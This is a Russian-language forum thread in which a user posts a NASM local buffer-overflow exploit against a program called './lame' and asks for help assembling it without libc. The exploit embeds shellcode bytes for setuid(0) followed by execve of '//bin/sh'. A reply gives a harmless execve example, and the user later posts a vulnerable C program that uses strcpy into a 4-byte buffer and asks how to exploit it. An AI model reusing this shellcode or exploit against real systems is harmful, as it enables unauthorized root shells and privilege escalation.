есть код не большего експлоита,компилирую через GCC работает нормально,кто знает как мне перевести этот код, чтобы компилировать чистым NASM(без библиотек(без GCC) то есть: nasm -f elf -o CODE.ASM ld CODE.O -o CODE Кто знает,прошу помочь мне. Код (Text): extern execl section .bss A: RESB 4 section .data SYS: dd 0xbffff834 LC0: db './lame',0 shellcode: db 031h,0c0h,031h,0dbh,0b0h,017h db 0cdh,080h,031h,0c0h,050h,068h db 02fh,02fh,073h,068h,068h,02fh db 062h,069h,06eh,089h,0e3h,050h db 053h,089h,0e1h,099h,0b0h,00bh db 0cdh,080h buf: db 0x31,0xc0,0x31,0xdb,0xb0,0x17 db 0xcd,0x80,0x31,0xc0,0x50,0x68 db 0x2f,0x2f,0x73,0x68,0x68,0x2f db 0x62,0x69,0x6e,0x89,0xe3,0x50 db 0x53,0x89,0xe1,0x99,0xb0,0x0b db 0x31,0xc0,0x31,0xdb,0xb0,0x17 db 0xcd,0x80,0x31,0xc0,0x50,0x68 db 0x2f,0x2f,0x73,0x68,0x68,0x2f db 0x62,0x69,0x6e,0x89,0xe3,0x50 db 0x53,0x89,0xe1,0x99,0xb0,0x0b db 0x31,0xc0,0x31,0xdb section .text global main main: mov dword [A],0 L2: cmp dword [A],3 jle L5 jmp L3 L5: mov edx, [A] add edx, buf+64 mov eax, [A] lea ecx, [eax*8+0] mov eax, [SYS] sar eax,cl mov [edx],al inc dword [A] jmp L2 L3: push dword 0 push dword shellcode push dword buf push dword LC0 push dword LC0 call execl ret
переводить за тебя уж не буду, но вот примерчик вызова execve. компилять: as -o exec.o exec.s ld -s -o exec exec.o синтаксис at&t, но это, наверное, не страшно: Код (Text): .text .globl _start _start: # соберём массив `char *env[]' movl (%esp), %eax movl 8(%esp, %eax, 4), %edi #адрес ascizz вектора перем окружения в %edi xorl %eax, %eax pushl %eax # terminating null pushl %edi xorl %ecx, %ecx decl %ecx make_array: repne scasb pushl %edi scasb jnz make_array popl %edi # это значение мы явно зря в стек засунули movl $11, %eax # 11 = execve movl $name, %ebx movl $args, %ecx movl %esp, %edx int $0x80 # do it # а это на всякий случай, вдруг execve обломается. xorl %eax, %eax movl %eax, %ebx incl %eax int $0x80 .data name: .asciz "./test.sh" arg1: .asciz "arg1" arg2: .asciz "arg2" args: .long arg1 .long arg2 .long 0
r90 Я пробовал заменять библиотечную функцию - execl на # 11 = execve. Но експлоит не заработал!!! заменял так: mov eax,11 mov ebx,LC0 push 0 push shellcode push buf push LC0 mov ecx, esp int 0x80 mov eax,1 mov ebx,0 int 0x80 ------------------------------------ все компилиться нормально, но експлоит не пашет! если убираю из эксплоита вот этот код: L5: mov edx, [A] add edx, buf+64 mov eax, [A] lea ecx, [eax*8+0] mov eax, [SYS] sar eax,cl mov [edx],al inc dword [A] jmp L2 то,sys_execve срабатывает(вызывает и переполняет подопытную программу ./lame)Если ставлю код назад,то программа(./lame) никак не реагирует...
Вижу никто мне не может помочь, у меня еще появился вопрос. Как реализовать переполнение буфера в программе на си? А сам exploit написать полностью на asm под Linux(GAS,NASM). Если можно пример. Есть ли в интернете эксплоиты написанные на асм(gas,nasm)для Linux(UNIX)? за раннее спасибо. код переполняемой программы: -------------------------------------------------- main (int argc, char *argv[]) { char little_buffer[4]; // сделаем буфер на 4 байта strcpy(little_buffer,argv[1]); }